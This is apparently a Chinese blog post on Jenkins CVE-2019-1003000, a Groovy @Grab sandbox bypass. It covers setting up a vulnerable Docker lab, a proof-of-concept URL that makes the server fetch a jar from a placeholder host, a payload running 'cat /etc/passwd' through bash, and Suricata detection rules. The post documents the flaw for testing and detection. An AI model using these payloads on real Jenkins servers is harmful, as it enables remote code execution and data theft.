CVE-2019-1003000

msg -未成功还原

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
近日Jenkins官网发布了编号为SECURITY-1266的安全通告,修复了3个CVE漏洞。这三个CVE漏洞都是由台湾安全研究员orange报告的,CVE编号分别为CVE-2019-1003000、CVE-2019-1003001、CVE-2019-1003002.
官方以及针对这三个CVE漏洞进行了修复,修复之后Orange也在其博客公布了具体的漏洞详情。

Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试报告, 发布报告等。Pipeline使开发者可以方便的去撰写一些构建脚本以完成自动化的编译、测试、发布,其中文名称是流水线(工作流),帮助开发者精心地组织一个可以长期运行在多个节点上的任务。

为了检查使用者撰写的Pipeline Script有没有语法上的错误,Jenkins提供了一个界面给使用者检查自己的Pipeline脚本。通过将抽象语法树(AST,Abstract Syntax Tree)转换注释(如@Grab)应用于源代码单元,可以在脚本编译阶段绕过脚本安全沙箱保护,导致具有Overall/Read权限或能控制SCM中jenkinsfile或沙盒Pipeline共享库内容的用户绕过沙盒保护,并在Jenkins服务器上执行任意代码。

利用转换注释@Grab、@GrabResolover可以写入恶意的Jar文件到jenkins服务器,由于Pipeline是基于Groovy语法的,因此Jenkins使用了GroovyClassLoader.parseClass()来检查Pipeline脚本语法的正确性,最终导致在编译阶段执行了写入到Jenkins服务器的恶意Jar文件。

安装

docker pull medicean/vulapps:j_jenkins_1
docker run -d -p 8080:8080 -p 50000:50000 medicean/vulapps:j_jenkins_1

系统管理->configure-> 项目矩阵授权策略
在这里插入图片描述
在这里插入图片描述
添加admin /admin用户
在这里插入图片描述

poc

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

body中含有payload 类似 
  <script>
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
</script>

检测

alert http any any -> any any (msg: "WAF.Jenkins.CVE-2019-1003000.Remote_Code_Execution.Threat.A"; flow: established, to_server; content: "POST"; http_method; nocase; content: "/job/"; http_uri; depth: 5; content: "/config.xml"; http_uri; content: "script"; http_client_body; pcre: "/<\s*script\s*>[\s\S]*@(Grab|ASTTest)/Ps";  reference: url, github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc; reference: cve, 2019-1003000; reference: cve, 2019-1003001; reference: cve, 2019-1003002; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: attempted-admin; sid: 10004529; rev: 1; )
pcre:"/POST\x20[\S]*/job/[\S]*config.xml[\s\S]*@(Grab|ASTTest)[\s\S]*HTTP\/\d\.\d\x20200/i"

alert http any any -> any any (msg:"WAF.Jenkins.CVE-2019-1003000.Remote_Code_Execution.Threat.B"; flow:established,to_server; content:"GET"; http_method; pcre:"/@(GrabConfig|GrabResolver|Grab)[^a-z]/Ui"; reference:url,https://mp.csdn.net/mdeditor/88875040; classtype:web-application-attack; sid:80000009; rev:1; metadata:created_at 2019_03_29, updated_at 2019_03_29;)
pcre:"/GET\x20[\S]*@(GrabConfig|GrabResolver|Grab)[\s\S]*HTTP\/\d\.\d\x20200/i"


在这里插入图片描述
在这里插入图片描述
PCAP:https://github.com/Fate9091/fate/blob/master/CVE-2019-1003000.rar

参考

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201901-777
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值